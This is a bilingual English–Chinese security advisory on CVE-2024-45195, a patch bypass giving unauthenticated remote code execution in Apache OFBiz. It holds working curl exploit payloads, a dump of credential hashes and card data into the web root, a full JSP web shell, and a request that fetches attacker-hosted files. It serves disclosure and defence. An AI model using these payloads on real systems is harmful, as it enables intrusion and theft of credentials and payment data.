Apache OFBiz below 18.12.16 is vulnerable to unauthenticated remote code execution on Linux and Windows. An attacker with no valid credentials can exploit missing view authorization checks in the web application to execute arbitrary code on the server. Exploitation is facilitated by bypassing previous patches for CVE-2024-32113, CVE-2024-36104, and CVE-2024-38856; this patch bypass vulnerability is tracked as CVE-2024-45195.
低于 18.12.16 的 Apache OFBiz容易受到Linux 和 Windows 上未经身份验证的远程代码执行的攻击。没有有效凭据的攻击者可以利用 Web 应用程序中缺少的视图授权检查在服务器上执行任意代码。通过绕过CVE-2024-32113 、 CVE-2024-36104和CVE-2024-38856的先前补丁来促进利用;该补丁绕过漏洞被追踪为CVE-2024-45195 。
Product Description 产品描述
Apache OFBiz is an open-source web-based enterprise resource planning and customer relationship management suite. The software has features for accounting, catalog and supply chain management, storing payment information, and more. Apache OFBiz is used by numerous large organizations, and previously disclosed vulnerabilities for it have seen exploitation in the wild.
Apache OFBiz是一个基于 Web 的开源企业资源规划和客户关系管理套件。该软件具有会计、目录和供应链管理、存储支付信息等功能。 Apache OFBiz 被众多大型组织使用,之前披露的漏洞已被广泛利用。
Credit 信用
This issue was reported to the Apache OFBiz team by Ryan Emmons, Lead Security Researcher at Rapid7, as well as by several other researchers. The vulnerability is being disclosed in accordance with Rapid7’s vulnerability disclosure policy. Rapid7 is grateful to the Apache OFBiz open-source community developers for their assistance and collaboration on this issue.
Rapid7 首席安全研究员 Ryan Emmons 以及其他几位研究人员向 Apache OFBiz 团队报告了此问题。该漏洞正在根据Rapid7 的漏洞披露政策进行披露。 Rapid7 感谢 Apache OFBiz 开源社区开发人员在此问题上提供的帮助和协作。
Vulnerability Context 漏洞背景
A handful of unauthenticated code execution CVEs for Apache OFBiz have been published in 2024. In August, the Cybersecurity and Infrastructure Security Agency added one of them, CVE-2024-32113, to its Known Exploited Vulnerabilities catalog. Based on our analysis, three of these vulnerabilities are, essentially, the same vulnerability with the same root cause. Since the patch bypass we are disclosing today elaborates on those previous disclosures, we’ll outline them now.
Apache OFBiz 的一些未经身份验证的代码执行 CVE 已于 2024 年发布。8 月,网络安全和基础设施安全局将其中之一 CVE-2024-32113 添加到其已知利用漏洞目录中。根据我们的分析,其中三个漏洞本质上是相同的漏洞,具有相同的根本原因。由于我们今天披露的补丁绕过详细说明了之前披露的内容,因此我们现在将概述它们。
CVE-2024-32113
The first vulnerability in this sequence, CVE-2024-32113, was published on May 8, 2024, and it affected installs before v18.12.13. The OFBiz CVE entry describes this vulnerability as a path traversal vulnerability (CWE-22). When unexpected URI patterns are sent to the application, the state of the application’s current controller and view map is fragmented; controller-view map fragmentation takes place because the application uses multiple different methods of parsing the current URI: one to get the controller, one to get the view map.
此序列中的第一个漏洞CVE-2024-32113于 2024 年 5 月 8 日发布,它影响 v18.12.13 之前的安装。 OFBiz CVE 条目将此漏洞描述为路径遍历漏洞 ( CWE-22 )。当意外的 URI 模式发送到应用程序时,应用程序当前控制器和视图映射的状态会变得碎片化;发生控制器视图映射碎片是因为应用程序使用多种不同的方法来解析当前 URI:一种获取控制器,一种获取视图映射。
As a result, an attacker can confuse the implemented logic to fetch and interact with an authenticated view map via an unauthenticated controller. When this happens, only the controller authorization checks will be performed, which the attacker can use to access admin-only view maps that do things like execute SQL queries or code.
因此,攻击者可以混淆实现的逻辑,以通过未经身份验证的控制器获取经过身份验证的视图地图并与之交互。发生这种情况时,只会执行控制器授权检查,攻击者可以使用该检查来访问仅限管理的视图映射,以执行 SQL 查询或代码等操作。
An authenticated administrator view map called “ProgramExport” will execute Groovy scripts, and this view map can be leveraged to execute arbitrary code without authentication. An example payload for this vulnerability, which uses path traversal to fragment the controller-view map state, is shown below.
名为“ProgramExport”的经过身份验证的管理员视图映射将执行 Groovy 脚本,并且可以利用此视图映射来执行任意代码而无需身份验证。该漏洞的有效负载示例如下所示,它使用路径遍历来对控制器视图映射状态进行分段。
curl 'https://target:8443/webtools/control/forgotPassword/../ProgramExport' -d "groovyProgram=throw+new+Exception('echo cmd output: `id`'.execute().text);" -vvv -k --path-as-is
The OFBiz Jira issue for the vulnerability has the description “Some URLs need to be rejected before they create problems”, which is how a fix was implemented. The remediation changes included code that attempted to normalize URLs before resolving the controller and the view map being fetched. That patch was released as v18.12.13.
该漏洞的OFBiz Jira 问题描述为“某些 URL 在产生问题之前需要被拒绝”,这就是修复的实施方式。修复更改包括在解析控制器和获取视图映射之前尝试标准化 URL 的代码。该补丁已作为 v18.12.13 发布。
CVE-2024-36104
The second CVE entry in this sequence, CVE-2024-36104 was published on June 4, 2024. The vulnerability was again described as a path traversal, and the OFBiz Jira issue description is “Better avoid special encoded characters sequences”. Though the patch is made up of multiple commits, the bulk of the remediation was implemented in bc856f46f8, with the following code added to remove semicolons and URL-encoded periods from the URI.
此序列中的第二个 CVE 条目CVE-2024-36104于 2024 年 6 月 4 日发布。该漏洞再次被描述为路径遍历, OFBiz Jira 问题描述为“更好避免特殊编码字符序列”。尽管该补丁由多个提交组成,但大部分修复是在bc856f46f8中实现的,并添加了以下代码以从 URI 中删除分号和 URL 编码的句点。
String uRIFiltered = new URI(initialURI)
.normalize().toString()
.replaceAll(";", "")
.replaceAll("(?i)%2e", "");
if (!initialURI.equals(uRIFiltered)) {
Debug.logError("For security reason this URL is not accepted", MODULE);
throw new RuntimeException("For security reason this URL is not accepted");
This CVE was patched in v18.12.14.
此 CVE 已在 v18.12.14 中修补。
Two different example payloads for this vulnerability are shown below, one for each of the sequences stripped by the implemented fix. Both of these payloads also work against OFBiz installations affected by the previous CVE-2024-32113, since the vulnerability has the same root cause.
下面显示了该漏洞的两个不同的示例有效负载,一个对应于已实施的修复程序删除的每个序列。这两个有效负载也适用于受先前 CVE-2024-32113 影响的 OFBiz 安装,因为该漏洞具有相同的根本原因。
curl 'https://target:8443/webtools/control/forgotPassword/;/ProgramExport' -d "groovyProgram=throw+new+Exception('echo cmd output: `id`'.execute().text);" -vvv -k --path-as-is
curl 'https://target:8443/webtools/control/forgotPassword/%2e%2e/ProgramExport' -d "groovyProgram=throw+new+Exception('echo cmd output: `id`'.execute().text);" -vvv -k --path-as-is
CVE-2024-38856
The third vulnerability in this sequence, CVE-2024-38856, was published on August 5, 2024. This time, the vulnerability was described as an incorrect authorization issue. The CVE’s description states “Unauthenticated endpoints could allow execution of screen rendering code of screens if some preconditions are met (such as when the screen definitions don’t explicitly check user’s permissions because they rely on the configuration of their endpoints).” This more accurately describes the issue. As we’ll see in a moment, it also indicates the approach taken for the fix this time.
此序列中的第三个漏洞CVE-2024-38856于 2024 年 8 月 5 日发布。这次,该漏洞被描述为不正确的授权问题。 CVE 的描述指出“如果满足某些先决条件(例如,当屏幕定义不明确检查用户的权限时,因为它们依赖于其端点的配置),未经身份验证的端点可能允许执行屏幕的屏幕渲染代码。”这更准确地描述了这个问题。正如我们稍后将看到的,它还表明了这次修复所采取的方法。
SonicWall’s research team, who reported the vulnerability to the OFBiz team, published an excellent blog post that nicely explains the root cause and focuses on the controller-view map state fragmentation, rather than just the method used to trigger it. Amazingly, their blog post reports that a traversal or semicolon sequence was never needed at all! A request to a path like /webtools/control/forgotPassword/ProgramExport
would result in the controller being set to “forgotPassword” and the view map being set to “ProgramExport”.
SonicWall 的研究团队向 OFBiz 团队报告了该漏洞,并发表了一篇出色的博客文章,很好地解释了根本原因,并重点关注控制器视图地图状态碎片,而不仅仅是触发它的方法。令人惊讶的是,他们的博客文章报告说根本不需要遍历或分号序列!对类似路径的请求 /webtools/control/forgotPassword/ProgramExport
将导致控制器被设置为“forgotPassword”并且视图映射被设置为“ProgramExport”。
An example payload for this vulnerability is shown below.
该漏洞的有效负载示例如下所示。
curl 'https://target:8443/webtools/control/forgotPassword/ProgramExport' -d "groovyProgram=throw+new+Exception('echo cmd output: `id`'.execute().text);" -vvv -k
This payload also works for systems affected by CVE-2024-32113 and CVE-2024-36104, since the root cause is the same for all three.
此有效负载也适用于受 CVE-2024-32113 和 CVE-2024-36104 影响的系统,因为这三个系统的根本原因相同。
The OFBiz Jira issue for this vulnerability is titled “Add permission check for ProgramExport and EntitySQLProcessor”. That’s exactly what the fix does; the fix adds a permission check for ProgramExport
and EntitySQLProcessor
, two view maps targeted by previous exploits. The three lines below were added to both Groovy files associated with those view maps, effectively preventing access to them without authentication.
该漏洞的OFBiz Jira 问题标题为“为 ProgramExport 和 EntitySQLProcessor 添加权限检查”。这正是修复的作用;该修复添加了对ProgramExport
和EntitySQLProcessor
的权限检查,这两个视图映射是之前漏洞利用的目标。下面三行被添加到与这些视图映射关联的两个 Groovy 文件中,有效地防止在未经身份验证的情况下访问它们。
if (!security.hasPermission('ENTITY_MAINT', userLogin)) {
return
}
As a result, both exploit techniques were no longer viable. However, the underlying problem, the ability to fragment the controller-view map state, was not resolved by the v18.12.15 patch.
结果,这两种利用技术都不再可行。然而,v18.12.15 补丁并未解决根本问题,即对控制器视图映射状态进行分段的能力。
Exploitation 开发
To recap, all three of the previous vulnerabilities were caused by the same shared underlying issue, the ability to desynchronize the controller and view map state. That flaw was not fully addressed by any of the patches. At the time of our research, the requestUri
and overrideViewUri
variables could still be desynchronized in the manner described in the SonicWall blog post, albeit not to reach ProgramExport
or EntitySQLProcessor
. Our testing target was v18.12.15, the latest version available at the time of research.
回顾一下,之前的所有三个漏洞都是由相同的共享底层问题引起的,即控制器和视图地图状态不同步的能力。任何补丁都没有完全解决这个缺陷。在我们研究时, requestUri
和overrideViewUri
变量仍然可以按照 SonicWall 博客文章中描述的方式去同步,尽管不会到达ProgramExport
或EntitySQLProcessor
。我们的测试目标是 v18.12.15,这是研究时可用的最新版本。
The framework/webtools/widget/EntityScreens.xml
file defines some EntityScreens that might be leveraged by an attacker.
这 framework/webtools/widget/EntityScreens.xml
文件定义了一些可能被攻击者利用的 EntityScreen。
$ grep 'script' framework/webtools/widget/EntityScreens.xml
<script location="component://webtools/src/main/groovy/org/apache/ofbiz/webtools/entity/EntitySQLProcessor.groovy"/>
<script location="component://webtools/src/main/groovy/org/apache/ofbiz/webtools/entity/ProgramExport.groovy"/>
<script location="component://webtools/src/main/groovy/org/apache/ofbiz/webtools/entity/EntityMaint.groovy"/>
<script location="component://webtools/src/main/groovy/org/apache/ofbiz/webtools/entity/FindGeneric.groovy"/>
<script location="component://webtools/src/main/groovy/org/apache/ofbiz/webtools/entity/ViewGeneric.groovy"/>
<script location="component://webtools/src/main/groovy/org/apache/ofbiz/webtools/entity/ViewRelations.groovy"/>
<script location="component://webtools/src/main/groovy/org/apache/ofbiz/webtools/entity/EntityRef.groovy"/>
<script location="component://webtools/src/main/groovy/org/apache/ofbiz/webtools/entity/EntityRefList.groovy"/>
<script location="component://webtools/src/main/groovy/org/apache/ofbiz/webtools/entity/CheckDb.groovy"/>
<script location="component://webtools/src/test/groovy/org/apache/ofbizwebtools/entity/EntityPerformanceTest.groovy"/>
<script location="component://webtools/src/main/groovy/org/apache/ofbiz/webtools/entity/XmlDsDump.groovy"/>
<script location="component://webtools/src/main/groovy/org/apache/ofbiz/webtools/entity/ModelInduceFromDb.groovy"/>
[..SNIP..]
We can’t useProgramExport
or EntitySQLProcessor
this time, since authorization checks are now enforced. However, an attacker can leverage another view to exploit the application without authentication. A screenshot of the XML Data Export admin dashboard feature for one possible Groovy view screen option, XmlDsDump
, is below.
这次我们不能使用ProgramExport
或EntitySQLProcessor
,因为现在强制执行授权检查。但是,攻击者可以利用另一个视图来利用该应用程序而无需进行身份验证。下面是一个可能的 Groovy 视图屏幕选项XmlDsDump
的 XML 数据导出管理仪表板功能的屏幕截图。
As shown above, the XmlDsDump
view can be used to query the database for virtually any stored data and write the resulting data to an arbitrarily named file anywhere on disk. Notably, the affiliated Groovy script XmlDsDump.groovy
does not enforce authorization checks.
如上所示, XmlDsDump
视图可用于查询数据库以获取几乎任何存储的数据,并将结果数据写入磁盘上任意位置的任意命名的文件中。值得注意的是,附属的 Groovy 脚本XmlDsDump.groovy
不强制执行授权检查。
As a proof of concept, we’ll try to desynchronize the controller-view map state to access the “dump” view without authentication. The following cURL request will attempt to dump all usernames, passwords, and credit card numbers stored by Apache OFBiz into a web-accessible directory.
作为概念证明,我们将尝试取消控制器视图映射状态的同步,以在无需身份验证的情况下访问“转储”视图。以下 cURL 请求将尝试将 Apache OFBiz 存储的所有用户名、密码和信用卡号转储到可通过 Web 访问的目录中。
curl 'https://target:8443/webtools/control/forgotPassword/xmldsdump' -d "outpath=./themes/common-theme/webapp/common-theme/&maxrecords=&filename=stolen.txt&entityFrom_i18n=&entityFrom=&entityThru_i18n=&entityThru=&entitySyncId=&preConfiguredSetName=&entityName=UserLogin&entityName=CreditCard" -k
Watching the request in a debugger confirms that the requestUri
and overrideViewUri
value confusion is still possible in RequestHandler.java
. This is depicted in the screenshot below, where our cURL request has resulted in requestUri
being set to the unauthenticated endpoint and overrideViewUri
being set to the authenticated view.
在调试器中观察请求,确认RequestHandler.java
中仍然可能存在requestUri
和overrideViewUri
值混淆的情况。下面的屏幕截图描述了这一点,其中我们的 cURL 请求导致requestUri
被设置为未经身份验证的端点,而overrideViewUri
被设置为经过身份验证的视图。
After the request completes, a second unauthenticated cURL request confirms that the operation completed successfully.
请求完成后,第二个未经身份验证的 cURL 请求确认操作已成功完成。
$ curl 'https://target:8443/common/stolen.txt' -k
<?xml version="1.0" encoding="UTF-8"?>
<entity-engine-xml>
<CreditCard paymentMethodId="AMEX_01" cardType="CCT_AMERICANEXPRESS" cardNumber="378282246310005" expireDate="02/2100" companyNameOnCard="Your Company Name" firstNameOnCard="Smart" lastNameOnCard="Guy" contactMechId="9000" lastUpdatedStamp="2024-08-15 23:31:30.077" lastUpdatedTxStamp="2024-08-15 23:31:28.811" createdStamp="2024-08-15 23:31:30.077" createdTxStamp="2024-08-15 23:31:28.811"/>
<CreditCard paymentMethodId="9015" cardType="CCT_VISA" cardNumber="4111111111111111" expireDate="02/2100" firstNameOnCard="DEMO" lastNameOnCard="CUSTOMER" contactMechId="9015" lastUpdatedStamp="2024-08-15 23:31:48.815" lastUpdatedTxStamp="2024-08-15 23:31:36.309" createdStamp="2024-08-15 23:31:48.815" createdTxStamp="2024-08-15 23:31:36.309"/>
<CreditCard paymentMethodId="EUROCUSTOMER" cardType="CCT_VISA" cardNumber="4111111111111111" expireDate="02/2100" firstNameOnCard="EURO" lastNameOnCard="CUSTOMER" contactMechId="EUROCUSTOMER" lastUpdatedStamp="2024-08-15 23:31:48.898" lastUpdatedTxStamp="2024-08-15 23:31:36.309" createdStamp="2024-08-15 23:31:48.898" createdTxStamp="2024-08-15 23:31:36.309"/>
<CreditCard paymentMethodId="FRENCHCUSTOMER" cardType="CCT_VISA" cardNumber="4111111111111111" expireDate="02/2100" firstNameOnCard="FRENCH" lastNameOnCard="CUSTOMER" contactMechId="FRENCHCUSTOMER" lastUpdatedStamp="2024-08-15 23:31:48.967" lastUpdatedTxStamp="2024-08-15 23:31:36.309" createdStamp="2024-08-15 23:31:48.967" createdTxStamp="2024-08-15 23:31:36.309"/>
<UserLogin userLoginId="system" isSystem="Y" enabled="N" lastUpdatedStamp="2024-08-15 23:31:10.984" lastUpdatedTxStamp="2024-08-15 23:31:10.9" createdStamp="2024-08-15 23:31:06.603" createdTxStamp="2024-08-15 23:31:06.515" partyId="system"/>
<UserLogin userLoginId="anonymous" enabled="N" lastUpdatedStamp="2024-08-15 23:31:06.637" lastUpdatedTxStamp="2024-08-15 23:31:06.515" createdStamp="2024-08-15 23:31:06.637" createdTxStamp="2024-08-15 23:31:06.515"/>
<UserLogin userLoginId="admin" currentPassword="{SHA}47b56992cbc2b6d10aa1be30f20165adb305a41a" enabled="Y" lastTimeZone="America/Chicago" successiveFailedLogins="2" lastUpdatedStamp="2024-08-16 01:12:07.386" lastUpdatedTxStamp="2024-08-16 01:12:07.386" createdStamp="2024-08-15 23:31:25.561" createdTxStamp="2024-08-15 23:31:25.556" partyId="admin"/>
<UserLogin userLoginId="flexadmin" currentPassword="{SHA}47b56994cbc2b6d10aa1be30f70165adb305a41a" lastUpdatedStamp="2024-08-15 23:31:26.341" lastUpdatedTxStamp="2024-08-15 23:31:26.278" createdStamp="2024-08-15 23:31:25.564" createdTxStamp="2024-08-15 23:31:25.556" partyId="admin"/>
<UserLogin userLoginId="demoadmin" currentPassword="{SHA}47b56994cbc2b6d10aa1be30f70165adb305a41a" lastUpdatedStamp="2024-08-15 23:31:26.342" lastUpdatedTxStamp="2024-08-15 23:31:26.278" createdStamp="2024-08-15 23:31:25.565" createdTxStamp="2024-08-15 23:31:25.556" partyId="admin"/>
<UserLogin userLoginId="ltdadmin" currentPassword="{SHA}47b56994cbc2b6d10aa1be30f70165adb305a41a" lastUpdatedStamp="2024-08-15 23:31:26.343" lastUpdatedTxStamp="2024-08-15 23:31:26.278" createdStamp="2024-08-15 23:31:25.566" createdTxStamp="2024-08-15 23:31:25.556" partyId="ltdadmin"/>
<UserLogin userLoginId="ltdadmin1" currentPassword="{SHA}47b56994cbc2b6d10aa1be30f70165adb305a41a" lastUpdatedStamp="2024-08-15 23:31:26.344" lastUpdatedTxStamp="2024-08-15 23:31:26.278" createdStamp="2024-08-15 23:31:25.567" createdTxStamp="2024-08-15 23:31:25.556" partyId="ltdadmin1"/>
<UserLogin userLoginId="bizadmin" currentPassword="{SHA}47b56994cbc2b6d10aa1be30f70165adb305a41a" lastUpdatedStamp="2024-08-15 23:31:26.345" lastUpdatedTxStamp="2024-08-15 23:31:26.278" createdStamp="2024-08-15 23:31:25.568" createdTxStamp="2024-08-15 23:31:25.556" partyId="bizadmin"/>
[..SNIP..]
The password hashes and credit card numbers have been written to an accessible file in the web root, demonstrating exploitation via patch bypass. It’s likely that cracking a user password hash would succeed in a real-world attack, since the password hashing algorithm is a weak one. However, to avoid having to crack any hashes, we also leveraged the vulnerability to achieve remote code execution.
密码哈希值和信用卡号已写入 Web 根目录中的可访问文件中,展示了通过补丁绕过进行的利用。在现实世界的攻击中,破解用户密码哈希很可能会成功,因为密码哈希算法很弱。然而,为了避免破解任何哈希值,我们还利用该漏洞来实现远程代码执行。
Within controller.xml
, a view map called viewdatafile
is defined at [0]
.
在controller.xml
中,在[0]
处定义了一个名为viewdatafile
的视图映射。
[..SNIP..]
<view-map name="xmldsdump" type="screen" page="component://webtools/widget/EntityScreens.xml#xmldsdump"/>
<view-map name="xmldsrawdump" page="template/entity/xmldsrawdump.jsp"/>
<view-map name="FindUtilCache" type="screen" page="component://webtools/widget/CacheScreens.xml#FindUtilCache"/>
<view-map name="FindUtilCacheElements" type="screen" page="component://webtools/widget/CacheScreens.xml#FindUtilCacheElements"/>
<view-map name="EditUtilCache" type="screen" page="component://webtools/widget/CacheScreens.xml#EditUtilCache"/>
<view-map name="viewdatafile" type="screen" page="component://webtools/widget/MiscScreens.xml#viewdatafile"/> [0]
<view-map name="LogConfiguration" type="screen" page="component://webtools/widget/LogScreens.xml#LogConfiguration"/>
<view-map name="LogView" type="screen" page="component://webtools/widget/LogScreens.xml#LogView"/>
<view-map name="FetchLogs" type="screen" page="component://webtools/widget/LogScreens.xml#FetchLogs"/>
[..SNIP..]
Within framework/webtools/widget/MiscScreens.xml
, viewdatafile
is associated with the script ViewDataFile.groovy
(at [1]
).
之内 framework/webtools/widget/MiscScreens.xml
, viewdatafile
与脚本ViewDataFile.groovy
关联(位于[1]
)。
[..SNIP..]
<screen name="viewdatafile">
<section>
<actions>
<set field="headerItem" value="main"/>
<set field="titleProperty" value="WebtoolsDataFileMainTitle"/>
<set field="tabButtonItem" value="data"/>
<script location="component://webtools/src/main/groovy/org/apache/ofbiz/webtools/datafile/ViewDataFile.groovy"/> [1]
</actions>
<widgets>
<decorator-screen name="CommonImportExportDecorator" location="${parameters.mainDecoratorLocation}">
<decorator-section name="body">
<screenlet>
<platform-specific><html><html-template location="component://webtools/template/datafile/ViewDataFile.ftl"/></html></platform-specific>
</screenlet>
</decorator-section>
</decorator-screen>
</widgets>
</section>
</screen>
[..SNIP..]
That script is below. It checks for various request parameters (starting at [2]
) to perform file operations. At [3]
, if DATAFILE_SAVE
is present and a datafile was parsed, the datafile contents will be written to the disk location specified by DATAFILE_SAVE
.
该脚本如下。它检查各种请求参数(从[2]
开始)以执行文件操作。在[3]
处,如果DATAFILE_SAVE
存在并且数据文件被解析,则数据文件内容将被写入DATAFILE_SAVE
指定的磁盘位置。
package org.apache.ofbiz.webtools.datafile
import org.apache.ofbiz.base.util.Debug
import org.apache.ofbiz.base.util.UtilProperties
import org.apache.ofbiz.base.util.UtilURL
import org.apache.ofbiz.datafile.DataFile
import org.apache.ofbiz.datafile.DataFile2EntityXml
import org.apache.ofbiz.datafile.ModelDataFileReader
uiLabelMap = UtilProperties.getResourceBundleMap('WebtoolsUiLabels', locale)
messages = []
dataFileSave = request.getParameter('DATAFILE_SAVE') [2]
entityXmlFileSave = request.getParameter('ENTITYXML_FILE_SAVE')
dataFileLoc = request.getParameter('DATAFILE_LOCATION')
definitionLoc = request.getParameter('DEFINITION_LOCATION')
definitionName = request.getParameter('DEFINITION_NAME')
dataFileIsUrl = null != request.getParameter('DATAFILE_IS_URL')
definitionIsUrl = null != request.getParameter('DEFINITION_IS_URL')
try {
dataFileUrl = dataFileIsUrl ? UtilURL.fromUrlString(dataFileLoc) : UtilURL.fromFilename(dataFileLoc)
}
catch (java.net.MalformedURLException e) {
messages.add(e.getMessage())
}
try {
definitionUrl = definitionIsUrl ? UtilURL.fromUrlString(definitionLoc) : UtilURL.fromFilename(definitionLoc)
}
catch (java.net.MalformedURLException e) {
messages.add(e.getMessage())
}
definitionNames = null
if (definitionUrl) {
try {
ModelDataFileReader reader = ModelDataFileReader.getModelDataFileReader(definitionUrl)
if (reader) {
definitionNames = ((Collection)reader.getDataFileNames()).iterator()
context.put('definitionNames', definitionNames)
}
}
catch (Exception e) {
messages.add(e.getMessage())
}
}
dataFile = null
if (dataFileUrl && definitionUrl && definitionNames) {
try {
dataFile = DataFile.readFile(dataFileUrl, definitionUrl, definitionName)
context.put('dataFile', dataFile)
}
catch (Exception e) {
messages.add(e.toString()); Debug.log(e)
}
}
if (dataFile) {
modelDataFile = dataFile.getModelDataFile()
context.put('modelDataFile', modelDataFile)
}
if (dataFile && dataFileSave) { [3]
try {
dataFile.writeDataFile(dataFileSave)
messages.add(uiLabelMap.WebtoolsDataFileSavedTo + dataFileSave)
}
catch (Exception e) {
messages.add(e.getMessage())
}
}
if (dataFile && entityXmlFileSave) {
try {
//dataFile.writeDataFile(entityXmlFileSave)
DataFile2EntityXml.writeToEntityXml(entityXmlFileSave, dataFile)
messages.add(uiLabelMap.WebtoolsDataEntityFileSavedTo + entityXmlFileSave)
}
catch (Exception e) {
messages.add(e.getMessage())
}
}
context.messages = messages
Apache OFBiz also ships with some example data files in datafiles.adoc
. An excerpt of that text is included below.
Apache OFBiz 还在datafiles.adoc
中附带了一些示例数据文件。该文本的摘录如下。
[..SNIP..]
== Examples
=== Sample fixed width CSV file posreport.csv to be imported:
.An example of fixed width flat file import.
[source,csv]
021196033702 ,5031BB GLITTER GLUE PENS BRIGH ,1 ,5031BB , 1, 299,
021196043121 ,BB4312 WONDERFOAM ASSORTED ,1 ,BB4312 , 1, 280,
021196055025 ,9905BB PLUMAGE MULTICOLOURED ,1 ,9905BB , 4, 396,
=== Sample xml definition file for importing select columns
.Sample xml definition file for importing select columns posschema.xml:
[source,xml]
<data-files xsi:noNamespaceSchemaLocation="http://ofbiz.apache.org/dtds/datafiles.xsd" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<data-file name="posreport" separator-style="fixed-length" type-code="text">
<record name="tillentry" limit="many">
<field name="tillCode" type="String" length="16" position="0"></field>
<field name="name" type="String" length="32" position="17"></field>
<field name="prodCode" type="String" length="12" position="63"></field>
<field name="quantity" type="String" length="8" position="76"></field>
<field name="totalPrice" type="String" length="8" position="85"></field>
</record>
</data-file>
</data-files>
.Another example reading fixed record little endian binary files
[source, xml]
<data-files xsi:noNamespaceSchemaLocation="http://ofbiz.apache.org/dtds/datafiles.xsd" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<data-file name="stockdata" separator-style="fixed-record" type-code="text" record-length="768">
<record name="stockdataitem" limit="many">
<field name="barcode" type="NullTerminatedString" length="12" position="0"></field>
<field name="prodCode" type="NullTerminatedString" length="12" position="68"></field>
<field name="price" type="LEInteger" length="4" position="80"></field>
<field name="name" type="NullTerminatedString" length="30" position="16"></field>
</record>
</data-file>
</data-files>
=== Procedure:
In the interface enter something like:
. Definition Filename or URL: posschema.xml
. Data File Definition Name: posreport
. Data Filename or URL: posreport.csv
This information is very helpful for contextualizing what we learned from the Groovy script. We’ll need to provide an XML definition file location, a data file XML definition name, a CSV data file location, and a file path to save the extracted data from the CSV. We’ll also need to specify that both our definition file location and CSV location are remote URLs, which we can do via the DEFINITION_IS_URL
and DATAFILE_IS_URL
parameters.
这些信息对于我们从 Groovy 脚本中学到的内容非常有帮助。我们需要提供 XML 定义文件位置、数据文件 XML 定义名称、CSV 数据文件位置以及用于保存从 CSV 中提取的数据的文件路径。我们还需要指定定义文件位置和 CSV 位置都是远程 URL,这可以通过DEFINITION_IS_URL
和DATAFILE_IS_URL
参数来完成。
Below is our malicious definition file, rceschema.xml
. We define a “jsp” String field within a record in the datafile. In the XML, this represents our JSP web shell that will be written to the web root.
下面是我们的恶意定义文件rceschema.xml
。我们在数据文件的记录中定义一个“jsp”字符串字段。在 XML 中,这代表将写入 Web 根目录的 JSP Web shell。
$ cat rceschema.xml
<data-files xsi:noNamespaceSchemaLocation="http://ofbiz.apache.org/dtds/datafiles.xsd" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<data-file name="rce" separator-style="fixed-length" type-code="text" start-line="0" encoding-type="UTF-8">
<record name="rceentry" limit="many">
<field name="jsp" type="String" length="605" position="0"></field>
</record>
</data-file>
</data-files>
Next, we’ll need a CSV containing a single line with a single value, our JSP web shell. This value is 605 characters long, as indicated in our XML definition. Since we’re injecting our payload into a CSV context, we’ll build a string in the JSP to avoid any commas, and we’ll delimit the payload with a comma.
接下来,我们需要一个包含单行和单个值的 CSV,即我们的 JSP Web shell。如我们的 XML 定义所示,该值的长度为 605 个字符。由于我们将有效负载注入到 CSV 上下文中,因此我们将在 JSP 中构建一个字符串以避免任何逗号,并且我们将使用逗号分隔有效负载。
$ cat rcereport.csv
<%@ page import='java.io.*' %><%@ page import='java.util.*' %><h1>Ahoy!</h1><br><% String getcmd = request.getParameter("cmd"); if (getcmd != null) { out.println("Command: " + getcmd + "<br>"); String cmd1 = "/bin/sh"; String cmd2 = "-c"; String cmd3 = getcmd; String[] cmd = new String[3]; cmd[0] = cmd1; cmd[1] = cmd2; cmd[2] = cmd3; Process p = Runtime.getRuntime().exec(cmd); OutputStream os = p.getOutputStream(); InputStream in = p.getInputStream(); DataInputStream dis = new DataInputStream(in); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine();}} %>,
Lastly, we’ll start a Python web server listening on port 80 of our attack machine, then perform a cURL request to exploit the vulnerability.
最后,我们将启动一个 Python Web 服务器,侦听攻击机器的 80 端口,然后执行 cURL 请求来利用该漏洞。
POST /webtools/control/forgotPassword/viewdatafile HTTP/2
Host: target:8443
User-Agent: curl/7.81.0
Accept: */*
Content-Length: 241
Content-Type: application/x-www-form-urlencoded
DATAFILE_LOCATION=http://attacker:80/rcereport.csv&DATAFILE_SAVE=./applications/accounting/webapp/accounting/index.jsp&DATAFILE_IS_URL=true&DEFINITION_LOCATION=http://attacker:80/rceschema.xml&DEFINITION_IS_URL=true&DEFINITION_NAME=rce
After the server fetches and processes our two files, browsing the targeted accounting/index.jsp
path confirms that we’ve established unauthenticated remote code execution.
服务器获取并处理我们的两个文件后,浏览目标accounting/index.jsp
路径确认我们已经建立了未经身份验证的远程代码执行。
Remediation 补救措施
We’d like to thank the Apache OFBiz team, who quickly responded to our disclosure and patched the vulnerability in v18.12.16. In this patch, authorization checks were implemented for the view. This change validates that a view should permit anonymous access if a user is unauthenticated, rather than performing authorization checks purely based on the target controller. OFBiz users should update to the fixed version as soon as possible.
我们要感谢 Apache OFBiz 团队,他们迅速响应了我们的披露并在 v18.12.16 中修复了该漏洞。在此补丁中,对视图实施了授权检查。此更改验证了如果用户未经身份验证,视图应允许匿名访问,而不是纯粹基于目标控制器执行授权检查。 OFBiz用户应尽快更新至修复版本。
Rapid7 Customers Rapid7 客户
InsightVM and Nexpose customers can assess their exposure to CVE-2024-32113, CVE-2024-36104, CVE-2024-38856, and CVE-2024-45195 with vulnerability checks available in the September 5 content release.
InsightVM 和 Nexpose 客户可以通过 9 月 5 日发布的内容中提供的漏洞检查来评估他们对 CVE-2024-32113、CVE-2024-36104、CVE-2024-38856 和 CVE-2024-45195 的暴露情况。
Disclosure Timeline 披露时间表
- August 16, 2024: Rapid7 contacts the Apache OFBiz security team via email.
2024 年 8 月 16 日: Rapid7 通过电子邮件联系 Apache OFBiz 安全团队。 - August 17, 2024: Apache OFBiz community developer acknowledges report.
2024 年 8 月 17 日: Apache OFBiz 社区开发人员承认报告。 - August 20, 2024: Apache OFBiz community developer indicates that the team has a solution.
2024 年 8 月 20 日: Apache OFBiz 社区开发人员表示团队已经有了解决方案。 - August 22, 2024: CVE-2024-45195 reserved by Apache community dev team.
2024 年 8 月 22 日: CVE-2024-45195 由 Apache 社区开发团队保留。 - August 24, 2024: Patch sent to Rapid7 for testing.
2024 年 8 月 24 日:补丁发送至 Rapid7 进行测试。 - August 28, 2024: Rapid7 confirms the patch is sufficient to prevent this vector of exploitation.
2024 年 8 月 28 日: Rapid7 确认该补丁足以防止这种利用方式。 - August 29, 2024: Apache OFBiz developer indicates patch ETA is early September 2024.
